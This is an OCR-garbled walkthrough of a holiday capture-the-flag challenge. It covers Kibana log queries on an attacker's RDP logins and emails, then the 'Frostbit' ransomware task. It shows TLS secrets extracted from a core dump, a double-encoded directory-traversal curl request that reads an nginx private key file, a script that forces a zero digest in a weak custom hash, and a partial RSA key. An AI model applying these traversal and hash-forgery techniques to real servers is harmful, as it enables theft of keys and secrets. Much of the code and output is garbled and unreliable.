Admins,CN=Users, DC=northpole,DC=local\"\nSusername = \"nutcrakr\"\n$pswd = 'EROSSAEIGKINS' \nSnullGUID =...

Q19: The attacker then used remote desktop to remotely access one of our domain computers. What is the full ISO8601
compliant UTC EventTime when they established this connection?
The event ID for using Remote Desktop Protocol (RDP) is 4624. This event is logged when an account is successfully logged on,

and itincludes information about RDP logins. _

Q |event.EventID 14624 and event.TargetUserName :"nutcrakr"” |

Documents (5)  Field statistics % Compare 5 [
@timestamp (O ™ k event.TargetUserName § | k event.Networkinformation_WorkstationName

s Sep 16, 2824 @ 88:30:20.800 nutcrakr SLEIGHRIDER

s Sep 16, 2824 @ 88:33:83.808 nutcrakr SLEIGHRIDER

s Sep 16, 2824 @) 88:35:55.0800 nutcrakr pcel

7 Sep 16, 2824 @ 88:35:57.600 nutcrakr DCa1

Q20: The attacker is trying to create their own naughty and nice list! What is the full file path they created using their re mote

desktop connection? [FENiTNSRUNSUS\S oSS OHIyNSES iy e e

Used grep to find rows with nutcrakr and wishlists. It found 8. Then | honed in on it in Kibana.

o

% grep -i nutcrakr *.log | grep -i wishlists | egrep -o '\{.*\}' | jq .

Q |event.CommandLine:*WishLists*|

Documents (1)  Field statistics

@timestamp (O ™ k event.CommandLine

7 () sep 16, 2024 @ 08:36:28.000 “C:\Windows\system32\NOTEPAD.EXE"| C:\WishLists\santadms_only\its_my_fakelst.txt

Q21: The Wombley faction has user accounts in our environment. How many unique Wombley faction users sent an email
message within the domain? I

After looking around at various emails trying to find things related to Wombley, | found some of the From email addresses
started with wcub (Wombley Cube). Doing a filter for this and clicking on the From field, it showed 4 users.

Elf Stack = [+] Q |event_source "SnowGlowMailPxy" and event.From:wcub*I
B Q Searchfi = 0 Documents (108)  Field statistics
v Selected fields 1 @timestamp O 2 k event.From

i eventFrom X avent.From — weubl@lenorthpole.local
~ Popular fields @ 10

Top values wcub888@northpole. local

# event.EventiD
weub303@northpole.local 26.9%| @ o

# event.ProcessiD —
wcub808@northpole.local 25.9%) ¢ o
k event_source — - wcub181@northpole. local

wcube311@northpole.local 25.9%

@
1

k event.CommandLine

t event.message wcub101@northpolelocal  21.3%

@
]

wcube311@northpole. local

# event.ParentProcessl
D Calculated from 108 records.

Q22: The Alabaster faction also has some user accounts in our environment. How many emails were sent by Alabaster users
to the Wombley faction users? .

% grep SnowGlowMailPxy *.log | grep '"To": "wcub' | grep '"From": "asnow' > gq22.txt
wec -1 g22.txt
22 q22.txt

e

Q23: Of all the reindeer, there are only nine. What's the full domain for the one whose nose does glow and shine? To help you
narrow your search, search the events in the 'SnowGlowMailPxy' event source. _
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Searching mail logs and searching for ignoring case. | was expecting the string to be part of the domain, but |
got lucky and found the leet speak version of it within 20 characters after matching with my simple regex search.

o

% grep SnowGlowMailPxy *.log | grep -i rudolph > rudolph.txt
% egrep -o -i 'rudolph. {20}' rudolph.txt | sort | uniqg
Rudolph. I kindly request y

. <snipped>
RudolphRunner@rud0lph.glow"

Knowing that the [rudo1ph| was in the field. This is how it can be seen in Kibana.

Documents (16)  Field statistics

@timestamp © k event.From

Sep 16, 2024 © 88:35:09.806  RudolphRunner@wicked.snow

Sep 16, 2624 © 88:06:13.808  RudolphRunner@stocking.chimney
Sep 16, 2024 @ 08:21:45.000 RudolphRunner@sleigh. ride

Sep 16, 2024 @ 08:29:35.000 RudolphRunner@santa.hut

Sep 16, 2824 © ©8:58:37.000 RudolphRunner@rud@iph.glow

+Side Note
Leetspeak is a type spelling that replaces letters with numbers and symbols that look like the letter it's replacing (\Wikipedia).
Q24: With a fiery tail seen once in great years, what's the domain for the reindeer who flies without fears?
From the context clues and previous answer, | search for and find the answer.

QU [event.From:*Om3t*

—

Documents (14)  Field statistics
@timestamp (® k event.From

Sep 16, 2024 @ 88:51:34.000 kernelKnight@cem3t.halleys

Key Learnings

e  Grepping through logs, regex.

e Kibana Discover, Kibana Visualize.
e Docker Desktop container setup.

Act 3: Decrypt the Naughty-Nice Listk & % % %

Decrypt the Frostbit-encrypted Naughty-Nice list and submit the first and last name of the child at number 440 in the Naughty-
Nice list.

© Goal
Decrypt the csv file to find the name on line 440 of the Naughty-Nice list

i% Key Hints

e |I'm with the North Pole cyber security team. We built a powerful EDR that captures process memory, network traffic,
and malware samples. It's great for incident response - using tools like strings to find secrets in memory, decrypt
network traffic, and run strace to see what malware does or executes.

e The Frostbit infrastructure might be using a reverse proxy, which may resolve certain URL encoding patterns before
forwarding requests to the backend application. A reverse proxy may reject requests it considers invalid. You may
need to employ creative methods to ensure the request is properly forwarded to the backend. There could be a way to
exploit the cryptographic library by crafting a specific request using relative paths, encoding to pass bytes and using
known values retrieved from other forensic artifacts. If successful, this could be the key to tricking the Frostbit
infrastructure into revealing a secret necessary to decrypt files encrypted by Frostbit.

e There's a new ransomware spreading atthe North Pole called Frostbit. Its infrastructure looks like code | worked on,
but someone modified it to work with the ransomware. If itis our code and they didn't disable dev mode, we might be

able to pass extra options to reveal more information. If they are reusing our code or hardware, it might also be
broadcasting MQTT messages.
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8 Solution Steps
Step 1: Download and unzip artifacts. These are unique to each player. Here are the key files:

Filename Description
ransomware_traffic.pcap Network packet capture
naughty_nice_list.csv.frostbit Ransomware-encrypted file
frostbit_core_dump.13 Core dump

Step 2: Run strings on core dump.
Run strings and pipe it to less to view the strings in the program to get a general feel with what is inside:

strings frostbit core dump.l13 | less

Step 3: Decrypt the .pcap to gather information

When we open the .pcap file in Wireshark, we see that itis all encrypted TLS. The core dump file has the secrets we can use to
decrypt the payloads.

$ strings frostbit core dump.l13 | grep SECRET | sort -u

CLIENT HANDSHAKE TRAFFIC SECRET

CLIENT HANDSHAKE TRAFFIC SECRET d084981bdb72ab30e747£1c1804b21688a756c10c6b%9a8851b0cea392£51b73
04a73a3bb02ee88a579aeb88db9a87

CLIENT HANDSHAKE TRAFFIC SECRET d084981bdb72ab30e747f1c1804b21688a756c10c6b9a8851b0ceal392£51b73
04a73a3bb02ee88a579aeb88db9a875b4326£752cbl4clobecbcl3ce7£3870174

CLIENT TRAFFIC SECRET 0 d084981bdb72ab30e747£1c1804b21688a756cl0c6b9a8851b0ceal39b2£51b73
ffce3a9cbaa03abb966ea22457424fb465d7e12335755cdfd2172752d1beb047

SERVER HANDSHAKE TRAFFIC SECRET d084981bdb72ab30e747f1c1804b21688a756c10c6b9%a8851b0cea392£51b73
8a8faf15d7751£fb3c2d9¢c9£84£5a0£fb717ed19a47ed69£fa5£9e423568788cb21

SERVER TRAFFIC SECRET 0 d084981bdb72ab30e747f£1c1804b21688a756cl0c6b9a8851b0cea39b2£51b73
4475pe189006416£71a50delcf7609829990e5ea021af£3d900dd4a7a67127ee

FAVAAA AN NN CLIENT HANDSHAKE TRAFFIC SECRET d084981bdb72ab30e747£1c1804b21 68

+»Side Notes

e The first word in the row indicates which side the secret is associated with (client vs server). The next words indicate if
the secret is for the TLS handshake or normal traffic. The hex string starting with "d084" is the random nonce identifier.
The 2nd hex string is the symmetric key used for encryption/decryption of the payloads.

e A nonce (short for "number used once") is an arbitrary number that is used only once in a cryptographic
communication. ltis often a random or pseudo-random number issued in an authentication protocol to ensure that
old communications cannot be reused in replay attacks. The primary purpose of a nonce is to add an element of
uniqueness to each transaction or communication session.

Using tutorials online such as this one, | was able to decrypt the TLS packets. This is the output from doing a "Follow HTTP
Stream™:

e  GET for/session gets a nonce back. This is likely the ransomware checking in and receiving a nonce for the unique
session.

GET /api/v1/bot/a9f10136-bcff-4800-a911-ff2279f88ba2/session HTTP/1.1
Host: api.frostbit.app

User-Agent: Go-http-client/1.1

Accept-Encoding: gzip

Strict-Transport-Security: max-age=31536000)

{"nonce":"8851cfca33590alc"}
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e POST to /key with the encryptedkey and nonce in the request body. The encrypted key is assumed to be generated by

the ransomware software and has the key to decrypt the encrypted ransomware file. A digest, status, and statusid are
returned.

POST /api/v1/bot/a9f10136-bcff-4800-a911-ff2279f88ba2/key HTTP/1.1
Host: api.frostbit.app
User-Agent: Go-http-client/1.1
Content-Length: 1070
Content-Type: application/json
Accept-Encoding: gzip|

{"encryptedkey":"7253d553ce47123a31313432a977773341efa23e02419965347b305bf5e26968f6c93c236ca4331964d4
f21b3e5066ca90580191ad8707e27977c33e837ccf9dad6497439627658ab121e71e7183dcc61c7d44775fc951baa824cblel
eb1cdf75280299ad2220635fdb6909605460650937d396a1f9e9f0a3f@094deadb@9b9f3e5e06e3da722b309c593e531808f
5abf@21abb4502c4bcdlb6lcad5aef86952023217fbda5096030b46856cef1a69632588a85b6a1d8c0461cfab7270168189f
e652¢c41eb829d3b8363b8010924d3dd757615¢cd26792177281a78516bd7b37cd434b82432eb65cBeb5aa4883¢c9bd46f7fcba
eba810115fd3dd906b7c7e5bf3d741a22b4bb58397d19470873ca55f9d212b72909e039418fd49584303¢82d86439c798aalc
af@bf74f5a9c729","nonce" :"8851cfca33590alc"}
HTTP/1.1 200 0K
Server: nginx/1.27.1
Date: Tue, 17 Dec 2024 20:32:28 GMT)
Content-Type: application/json
Content-Length: 101
Connection: keep-alive
Strict-Transport-Security: max-age=3153600

{"digest":"d2009120701020010021000800015261" ,"status":"Key Set","statusid":"ZQznCAjUm6IPiqHdG7SPPw"}

Key Learnings from the .pcap
e Values for the nonce, encryptedkey, digest, and statusid. These can be also extracted from the core dump, but this
is a more convenient way to see them.
Step 4: Learn about the ransomware page.

Run these commands to extract out specifics:

| strings frostbit core dump.l13 | grep https:

We get the same URLs as above along with one more. From above we see the "ZQzn" string is the status id.

https://api.frostbit.app/view/ZQznCAjUm6JPigHdG7 SPPw/a9£f10136-bcff-4800-a911-
££2279£88ba2/status?digest=d20091a0701020010021000800015261

When we go to the URL in a browser, we get the ransomware page with Wombley's ransom demands, that sneaky fella:

RANSOMWARE

UNTIL NAUGHTY-NICE LIST 13D 15:47:10 PUBLICATION

Naughty-Nice List Ransomware Attack
Altention Alabaster-elves,

I, Wombley Cube, have grown weary of Santa's continuous mismanagement and his repealed blunders that
endanger the holiday season year after year. It's time for a change, and I've decided to take malters into my
own hands to ensura the holiday season is saved once and for all

The Naughty-Nice List is now under my control, encryptad with Frost-Bit ransomware. | am offaring you a
chalce: join my side before the deadline, and | will decrypt the list, allowing the holiday season to proceed
without a hitch under my leadership. Failure to comply, however, will have dire consequences. The list will
remain encrypted, and right bafore the holidays are over, | will releasa it to the public, causing an
unprecedented scandal that will foraver tamish the holiday season and the North Pole

You have until the timer runs out to make your dacision. Save the haliday season and secure your place in its
history, or let it fall into chaos under your watch

ALL AVAILABLE DATA WILL BE PUBLICLY DUMPED TO THESE SITES WHEN THE TIMER RUNS OUT.
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The source of the page mentions debugData:

// Decode base64 debug data if it's not "false"
let decodedDebugbata = null;
if (debugData) {
try {
decodedDebugbData = atob(debugData) ;
} catch (e) {
console.error ('Error decoding debug data: ', e, debugData);
decodedDebugbData = "Error decoding debug data. " + e + " " + debugData;

}

Adding "debug=1" as a parameter, we see debug info at the bottom of the screen:

https://api.frostbit.app/view/1BZt8U6DVIGK8TE zZNE /d528c106-55¢c7-427c-93b0—
0cc77b£53358/status?digest=c4c09c08a0000040086c001104000402&debug=1

156 Dec, 2024 02:54:15
NORTH POLE

Debug Data

{"uuid": "d528c1@6-55c7-427c-93b@-0cc77bf53358", “nonce™: "REDACTED", "encryptedkey”: "REDACTED", “deactivated”: false, “etime": 1734998480}

When we change the digest by removing a character, the error shows a Python file and its path with "static."

{

"debug": true,

"error": "Status Id File Digest Validation Error: Traceback (most recent call last):\n File
\"/app/frostbit/ransomware/static/FrostBiteHashlib.py\", line 55, in validate\n decoded bytes =
binascii.unhexlify (hex string) \nbinascii.Error: Odd-length string\n"

}

Going to this URL, we can pull down the script: [https://api.frostbit.app/static/FrostBiteHashlib.py|We will come back to
this later.

When we change the status ID by removing one character, we can deduce that it's the filename.

| "error": "Status Id File Not Found"

Key Learnings from the ransomware page
e debug mode
e Python script creating the digest.
e statusid in the URL is the filename on the server
Step 5: Directory traversal to get the key file.

One of the hints mentions MQTT which is from the Santa Vision challenge. This message has a key file and its path.

| Let's Encrypt cert for api.frostbit.app verified. at path /etc/nginx/certs/api.frostbit.app.key

We will use directory traversal with double encoding to access this file. With erroneous attempts, we'll get the same error
above with "File Not Found." But with this URL, we get a different error about an "Invalid Status Id or Digest" which means
there is a file present (GLORY!):

o

% curl -s

'https://api. frostbit.app/view/..%252F..%252F..%252F. .%252Fetc%252Fnginx%252Fcerts%252Fapi . frostbit. app.key/a9fl
0136-bcf£-4800-a911-££2279f88ba2/status?digest=00000000000000000000000000000000&debug=1"

{"debug" :true,"error" :"Invalid Status Id or Digest"}

Step 6: Forcing a digest.
Here is the __init__ for the class and an important function from the FrostBiteHashlib.py file:

class Frostbytel28:
def init (self, file bytes: bytes, filename bytes: bytes, nonce bytes: bytes, hash length: int = 16):

def compute hash (self) -> bytes:
hash result = bytearray(self.hash length)
count = 0

for i in range(len(self.file bytes)):
xrd = self.file bytes[i] " self.nonce bytes[i % self.nonce bytes length]

hash result[count % self.hash length] = hash result[count % self.hash length] ~ xrd
count += 1

for i in range(len(self.filename bytes)) :
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)

count mod = count % self.hash length

o)

count filename mod = count % self.filename bytes length

count nonce mod = count % self.nonce bytes length

xrd = self.filename bytes[count filename mod] ”~ self.nonce bytes[count nonce mod]
hash result[count mod] = hash result [count mod] & xrd

count += 1

return bytes(hash result)

The class __init__ shows a hash_length of 16 bytes. This is double what the nonce above was (8 bytes).
The compute_hash function has two loops that performs operations on the data one byte at a time:
1. XOR the nonce and file_bytes (the contents of the file which we do not know). XOR the result (xrd) with the hash_result
array.
2. XOR the nonce and the filename_bytes (the filename which we do know). AND the results (xrd) with the hash_result
array.
Since we don't know the file_bytes, we will focus on the 2nd loop. Working backwards the last step, it does a bitwise AND
between XRD and the hash_result. For bitwise AND, the result will be 1 only if both bits are setto 1. Here is the truth table for
bitwise AND:

xrd hash_result AND (saved back into hash_result)
0 0 0
0 1 0
1 0 0
1 1 1

Two key takeaways:
1. If we can make xrd is zero, then the AND result will be zero. Similarly, if hash_result is zero, the AND result will be zero.

2. Because the loop cycles the hash_result overitself at every 16 bytes, once all 16 bytes in the hash_result are 0, they
will all stay 0 no matter what value xrd has.
To get XRD to be zero, we need to understand how it’s calculated. It performs an XOR between the nonce and the filename.
Here is the truth table for bitwise XOR:

nonce | filename_bytes XOR (saved into xrd)
0 0 0
0 1 1
1 0 1
1 1 0

Background Info: XOR
XOR stands for eXclusive OR. It returns true if and only if exactly one of the operands is true.
From the table, the way we get can get XOR (xrd) to be 0 is to have the filename_bytes match the nonce. We can do this by
adding padding bytes to the filename that match the nonce. If we can do this for 16 bytes (2 nonce lengths), then the digest will
be all Os.
There are two points to consider:
1. From the code, the starting point for the nonce, count_nonce_mod, is dependent on the variable count. Count comes
in from loop 1 which iterates over the file_bytes. The takeaway from this is that the starting point of the nonce in loop 2
may not be at the first byte of the nonce.
2. The placement of the padding bytes in the filename should be in the beginning to avoid changing the filename.
After trial-and-error, | found that shifting two hex bytes worked with the page giving an RSA private key. | double encoded the
hex padding, and | also had to two more ..%252F's for the directory traversal. | assume this is needed because of the padding.
There is gap here in understanding of how the webserver treats the padded bytes — especially those that translate to ASCII
characters. It's interesting that it doesn't affect the recognition of the path traversal.

https://api.frostbit.app/view/%$25c£%$25ca%2533%2559%250a%251c%2588%2551%25cf£%25ca%2533%2559%250a%251c%$2588%2551. .
$252F. .%252F. .%252F..%252F..%252F .. %252Fetc%252Fnginx%252Fcerts%$252Fapi. frostbit .app. key/a9f10136-bcff-4800-
a911-f£2279£f88ba2/status?digest=00000000000000000000000000000000&debug=1

Debug Data

---—BEGIN RSA PRIVATE KEY————-
MIIJKAIBAAKCAQEAp1g5eKDvkIf+gsWWZUtpFr80ojTZabm4Rty@Lorwtq5Vid37

QCalAm.uvTEaddudD o vMA 20U IDEE v aNWlak 2 Twl hyu i CTOAKVOT I n 71 EvFfUO L /3 Qvund
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Possible extra explanation:
After downloading the realfile, | had the real file_bytes. Yay! | was able to get the real digest which worked when | used it.
There was a scenario where people mentioned you could put bytes on the end of the filename and still create a 0 nonce.

def compute hash (self) -> bytes:
hash result = bytearray(self.hash length)
count = 0

for i in range(len(self.file bytes)):
xrd = self.file bytes[i] " self.nonce bytes[i % self.nonce bytes length]

hash result[count % self.hash length] = hash result[count % self.hash length]
count += 1

S

xrd

for i in range(len(self.filename bytes)) :
count mod = count % self.hash length
count filename mod = count % self.filename bytes length

count nonce mod = count % self.nonce bytes length
xrd = self.filename bytes[count filename mod] ”~ self.nonce bytes[count nonce mod]

# added next 5 lines to help track

orig hash result = hash result[count mod]

if 32 <= self.filename bytes[count filename mod] <= 126: # Printable ASCII
file char = chr(self.filename bytes[count filename mod])

else:
file char = ' '

hash result[count mod] = hash result[count mod] & xrd

print (f'count={count};
count filename mod={str (count filename mod) .1just(2)};filename byte={str (hex(self.filename bytes[count filename
mod])) .1just(4)} ({file char});
count nonce mod={count nonce mod};nonce byte={str (hex (self.nonce bytes[count nonce mod])). ljust (4)};
xrd={str (hex(xrd)) .1just(4)};
count mod={str(count mod) .ljust(2)};orig hash result={str(hex(orig hash result)) .ljust(4)};hash result={hex (hash
_result[count mod])}")

count += 1

return bytes(hash result)

Add this to the end:

with open('api.frostbit.app.key', 'rb') as file:
file bytes = file.read()

nonce bytes = b'\x88\x51\xcf\xca\x33\x59\x0a\xlc'

filename bytes = '../../../../etc/nginx/certs/api. frostbit.app.key'.encode ()
hex string = '8851cfca33590alc8851cfca33590alc’

additional bytes = bytes.fromhex(hex string)

filename bytes = additional bytes + filename bytes

# Instantiate and compute the digest

frostbyte instance = Frostbytel28 (file bytes, filename bytes, nonce bytes)
digest = frostbyte instance.digest()

hexdigest = frostbyte instance.hexdigest ()

# Print the results

print (f'filename bytes: {filename bytes}')
print (f'nonce bytes: {nonce bytes}')
print ("Raw Digest (bytes) :", digest)
print ("Hex Digest (string):", hexdigest)

cnt=3243;cnt fn mod=43; fn byte=0x2f (/) ;cnt nce mod=3;nce byte=0xca;xrd=0xe5;cnt mod=11;orig hash=0x6f; hash=0x65
cnt=3244;cnt fn mod=44; fn byte=0x61 (a) ;cnt nce mod=4;nce byte=0x33;xrd=0x52;cnt mod=12;orig hash=0x1d;hash=0x10
cnt=3245;cnt fn mod=45; fn byte=0x70 (p) ;cnt nce mod=5;nce byte=0x59;xrd=0x29;cnt mod=13;orig hash=0xa ;hash=0x8
cnt=3246;cnt fn mod=46; fn byte=0x69 (1) ;cnt nce mod=6;nce byte=0xa ;xrd=0x63;cnt mod=14;orig hash=0x18;hash=0x0
cnt=3247;cnt fn mod=47; fn byte=0x2e (.) ;cnt nce mod=7;nce byte=0xlc;xrd=0x32;cnt mod=15;orig hash=0x4b; hash=0x2
cnt=3248;cnt fn mod=48; fn byte=0x66 (f) ;cnt nce mod=0; nce byte=0x88;xrd=0xee;cnt mod=0 ;orig hash=0xa8;hash=0xa8
cnt=3249;cnt fn mod=49; fn byte=0x72 (r) ;cnt nce mod=1l;nce byte=0x51;xrd=0x23;cnt mod=1 ;orig hash=0x7b;hash=0x23
cnt=3250;cnt fn mod=50; fn_byte=0x6f (o) ;cnt nce mod=2; nce byte=0xcf;xrd=0xal;cnt mod=2 ;orig hash=0x85;hash=0x80
cnt=3251;cnt fn mod=51; fn byte=0x73 (s) ;cnt nce mod=3;nce byte=0xca;xrd=0xb9;cnt mod=3 ;orig hash=0xc5;hash=0x81
cnt=3252;cnt fn mod=52; fn byte=0x74 (t) ;cnt nce mod=4;nce byte=0x33;xrd=0x47;cnt mod=4 ;orig hash=0x36;hash=0x6
cnt=3253;cnt fn mod=53; fn byte=0x62 (b) ;cnt nce mod=5;nce byte=0x59;xrd=0x3b;cnt mod=5 ;orig hash=0x29;hash=0x29
cnt=3254;cnt fn mod=54; fn byte=0x69 (i) ;cnt nce mod=6;nce byte=0xa ;xrd=0x63;cnt mod=6 ;orig hash=0x71;hash=0x61
cnt=3255;cnt fn mod=55; fn byte=0x74 (t) ;cnt nce mod=7;nce byte=0xlc;xrd=0x68;cnt mod=7 ;orig hash=0xla;hash=0x8
cnt=3256;cnt fn mod=56; fn byte=0x2e (.) ;cnt nce mod=0; nce byte=0x88;xrd=0xa6;cnt mod=8 ;orig hash=0xae;hash=0xa6
cnt=3257;cnt fn mod=57; fn byte=0x61 (a) ;cnt nce mod=1;nce byte=0x51;xrd=0x30;cnt mod=9 ;orig hash=0x71;hash=0x30
cnt=3258;cnt fn mod= 58; fn byte=0x70 (p)
cnt=3259;cnt fn mod=59; fn _byte=0x70 (p)

f
r
o
s
t
b
i
t

;cnt nce mod=2;nce byte=0xcf;xrd=0xbf;cnt mod=10;orig hash=0x83;hash=0x83
;cnt nce mod 3;nce byte=0xca;xrd=0xba;cnt mod=11; orig hash=0x65; hash=0x20
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cnt=3260;cnt fn mod=60; fn byte=0x2e

cnt=3261;cnt fn mod=61; fn byte=0x6b (k) ;cnt nce mod 5;nce byte=0x59;xrd=0x32;cnt mod=13;orig hash=0x8
PEmE meE mod 6;nce byte=0xa ;xrd=0x6f; cnt mod=14; orig hash=0x0
;cnt nce mod 7;nce byte=0xlc;xrd=0x65;cnt mod=15;orig hash=0x2

(.
(
cnt=3262;cnt fn mod=62; fn byte=0x65 (e
cnt=3263;cnt fn mod=63; fn byte=0x79 (y
cnt=3264;cnt fn mod=0 ;fn byte=0x88 (
cnt=3265;cnt fn mod=1 ; fn_byte=0x51 (Q
cnt=3266; cnt fn mod=2 ; fn byte=0xcf (
cnt=3267;cnt fn mod=3 ; fn_byte=0xca (
cnt=3268; cnt fn mod=4 ;fn byte=0x33 (3
cnt=3269;cnt fn mod=5 ;fn byte=0x59 (Y
cnt=3270;cnt fn mod=6 ; fn byte=0xa (
cnt=3271;cnt fn mod=7 ; fn _byte=0x1lc (
cnt=3272;cnt fn mod=8 ;fn byte=0x88 (
cnt=3273; cnt fn mod=9 ; fn byte=0x51 (Q
cnt=3274;cnt fn mod=10; fn_byte=0xcf (
cnt=3275; cnt fn mod=11; fn _byte=0xca (
cnt=3276;cnt fn mod=12; fn byte=0x33 (3
cnt=3277;cnt fn mod=13; fn byte=0x59 (Y
cnt=3278;cnt fn mod=14; fn byte=0xa (
cnt=3279;cnt fn mod=15; fn byte=0xlc (
cnt=3280;cnt fn mod=16; fn byte=0x2e (.
cnt=3281;cnt fn mod=17; fn byte=0x2e (.
cnt=3282;cnt fn mod=18; fn byte=0x2f (/
cnt=3283;cnt fn mod=19; fn byte=0x2e (.
cnt=3284;cnt fn mod=20; fn byte=0x2e (.
cnt=3285;cnt fn mod=21; fn byte=0x2f (/
cnt=3286;cnt fn mod=22; fn byte=0x2e (.
cnt=3287;cnt fn mod=23; fn byte=0x2e (.
cnt=3288;cnt fn mod=24; fn byte=0x2f (/
cnt=3289;cnt fn mod=25; fn byte=0x2e (.
cnt=3290;cnt fn mod=26; fn byte=0x2e (.
cnt=3291;cnt fn mod=27; fn byte=0x2f (
cnt=3292;cnt fn mod=28; fn byte=0x65 (
cnt=3293;cnt fn mod=29; fn byte=0x74 (
cnt=3294;cnt fn mod=30; fn byte=0x63 (
cnt=3295;cnt fn mod=31; fn byte=0x2f (
cnt=3296;cnt fn mod=32; fn byte=0x6e (
cnt=3297;cnt fn mod=33; fn byte=0x67 (
cnt=3298;cnt fn mod=34; fn byte=0x69 (i
cnt=3299;cnt fn mod=35; fn byte=0x6e (n
cnt=3300;cnt fn mod=36; fn byte=0x78 (
cnt=3301;cnt fn mod=37; fn byte=0x2f (
cnt=3302;cnt fn mod= 38; fn byte=0x63 (
(
(
(
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)
)i
)i
)i
)i
)
)
)
)
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)
)
)i
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) ;
) i
)
)i
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)i
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)
)
) i
)i
)i
)i
)i
)i
)
)
)
)
)i

cnt=3305;cnt fn mod=41; fn byte=0x74 (t
cnt=3306;cnt fn mod=42; fn _byte=0x73 (s) ;
fn bytes:

nce bytes: b'\x880Q\xcf\xca3Y¥\n\xlc'

b'\x880\xcf\xca3Y\n\xlc\x880\xcf\xca3¥Y\n\xlc../../../.

;cnt nce mod=4;nce byte=0x33;xrd=0xld;cnt mod=12;orig hash=0x10;hash=0x10

cMImemMJ)mebﬁeOﬁSxmlWO
;ent _nce mod=1;nce byte=0x51;xrd=0x0
;cnt nce mod=2; nce byte=0xcf;xrd=0x0
;cnt nce mod=3;nce byte=0xca;xrd=0x0
,CMImemwllmebﬁeOﬁ3xK1MO
;cnt nce mod=5; nce byte=0x59;xrd=0x0
;cnt nce mod 6;nce byte=0Oxa ;xrd=0x0
;cnt nce mod=7; nce byte=0xlc;xrd=0x0
,cmlmemMW)mebﬁeOﬁ8xmlm0
;ent nce mod=1l;nce byte=0x51;xrd=0x0
;ent _nce mod=2;nce byte=0xcf;xrd=0x0
;cnt nce mod 3;nce byte=0xca;xrd=0x0
cMzmeme4mebWe0ﬁ3xM(kO
;ent nce mod=5;nce byte=0x59;xrd=0x0
;ent nce mod=6;nce byte=0xa ;xrd=0x0
;cnt nce mod=7; nce byte=0xlc;xrd=0x0

;ent nce mod 0;nce byte=0x88;xrd=0xa6;cnt mod=0
;cnt nce mod=l;nce byte=0x51;xrd=0x7f;cnt mod=1
;ent nce mod=2;nce byte=0xcf;xrd=0xel;cnt mod=2
;cnt _nce mod 3;nce byte=0xca;xrd=0xe4;cnt mod=3
cnt nce mod 4;nce byte=0x33;xrd=0x1d; cnt mod=4
;ent nce mod 5;nce byte=0x59;xrd=0x76;cnt mod=5
cnt nce mod 6;nce byte=0xa ;xrd=0x24; cnt mod=6
;cnt _nce mod 7;nce byte=0xlc;xrd=0x32;cnt mod=7
cnt nce mod 0;nce byte=0x88;xrd=0xa7;cnt mod=8
;ent nce mod 1;nce byte=0x51;xrd=0x7f;cnt mod=9
cnt nce mod 2;nce byte=0xcf;xrd=0xel;cnt | _mod=10; orig hash=0x0
;ent nce . mod=3; nce  byte=0xca;xrd=0xe5;cnt mod=11;orig hash=0x0
,cnt nce mod 4;nce byte=0x33;xrd=0x56;cnt mod=12;orig hash=0x0
;cnt nce mod=5;nce byte=0x59;xrd=0x2d;cnt mod=13;orig hash=0x0
;cnt nce mod 6;nce byte=0xa ;xrd=0x69;cnt mod=14;orig hash=0x0
PEmE_meR mod 7;nce byte=0xlc;xrd=0x33; cnt mod=15; orig hash=0x0
;cnt nce mod 0;nce byte=0x88;xrd=0xe6;cnt mod=0
cnt nce mod 1;nce byte=0x51;xrd=0x36;cnt mod=1
;ent nce mod 2;nce byte=0xcf;xrd=0xa6;cnt mod=2
cnt nce mod 3;nce byte=0Oxca;xrd=0xa4;cnt mod=3
;ent nce mod 4;nce byte=0x33;xrd=0x4b;cnt mod=4
,cnt nce mod 5;nce byte=0x59;xrd=0x76;cnt mod=5
;cnt nce mod=6;nce byte=0Oxa ;xrd=0x69;cnt mod=6
cnt=3303;cnt fn mod=39; fn byte=0x65 (e) ;cnt nce mod 7;nce byte=0xlc;xrd=0x79;cnt mod=7
cnt=3304; cntﬁfnimod 40; fn_byte=0x72 (r) ;cnt nce mod=0; nce byte=0x88;xrd=0xfa;cnt mod=8
;ent nce mod=1;nce byte=0x51;xrd=0x25;cnt mod=9
;ecnt nce mod=2; nce  byte=0xcf;xrd=0xbc; cnt mod=10; orig hash=0x0
. /etc/nginx/certs/api.frostbit.app.key'

; hash=0x0
'hash:OxO
; hash=0x0
;orig hash=0xa8; hash=0x0
;orig hash=0x23; hash=0x0
;orig hash=0x80; hash=0x0
;orig hash=0x81; hash=0x0
;orig hash=0x6 ;hash=0x0
;orig hash=0x29; hash=0x0
;orig hash=0x61;hash=0x0
;orig hash=0x8 ;hash=0x0
;cnt mod=8 ;orig_hash=0xa6;hash=0x0
;ecnt mod=9 ;orig hash=0x30; hash=0x0
;cnt mod=10; orig hash=0x83; hash=0x0
;ecnt mod=11; orig hash=0x20; hash=0x0
;ecnt mod=12; orig hash=0x10; hash=0x0
;ecnt mod=13; orig hash=0x0 ;hash=0x0
;cnt mod=14; orig hash=0x0 'hash=0x0

;ent mod=15; orig hash=0x0 ;hash=0x0
;orig hash=0x0 ;hash=0x0
;orig hash=0x0 ;hash=0x0
;orig hash=0x0 ;hash=0x0
;orig hash=0x0 ;hash=0x0
;orig hash=0x0 ;hash=0x0
;orig hash=0x0 ;hash=0x0
;orig hash=0x0 ;hash=0x0
;orig hash=0x0 ;hash=0x0
;orig hash=0x0 ;hash=0x0
;orig hash=0x0 ;hash=0x0
; hash=0x0
; hash=0x0
; hash=0x0
; hash=0x0
; hash=0x0
; hash=0x0
; hash=0x0
;hash=0x0
; hash=0x0
; hash=0x0
; hash=0x0
; hash=0x0
; hash=0x0
; hash=0x0
; hash=0x0
; hash=0x0
; hash=0x0

,cntimod 0
;cnt mod=1
;cnt mod=2
;cnt _mod=3
;jcnt _mod=4
;cnt mod=5
;cnt mod=6
;cnt mod=7

;orig hash=0x0
;orig hash=0x0
;orig hash=0x0
;orig hash=0x0
;orig hash=0x0
;orig hash=0x0
;orig hash=0x0
;orig hash=0x0
;orig hash=0x0
;orig hash=0x0

Raw Digest (bytes): b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
Hex Digest (string): 00000000000000000000000000000000
Key points:

e Asexpected, once a nonce byte became 0, it remained 0 no matter what xrd was.

e The cnt_filename_mod starting point depends on its length. This affects how the nonce and filename bytes line up.

e Asexpected, The starting point of the count_filename_mod and count_nonce_mod depends on count which depends

on the length of the file_bytes. This affects how the nonce and padding bytes align. This output helps to show this is

the case.

e In yellow, it shows where the padding and nonce line up to create an xrd of zero which forces the digest to be 0.

Step 7: Decrypt the key.

Decrypt the encrypted key from the pcap with the RSA private key and using Cyberchef, we get a pair of hex strings, another

key and our nonce.
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Recipe ~

From Hex

Delimiter

Auto

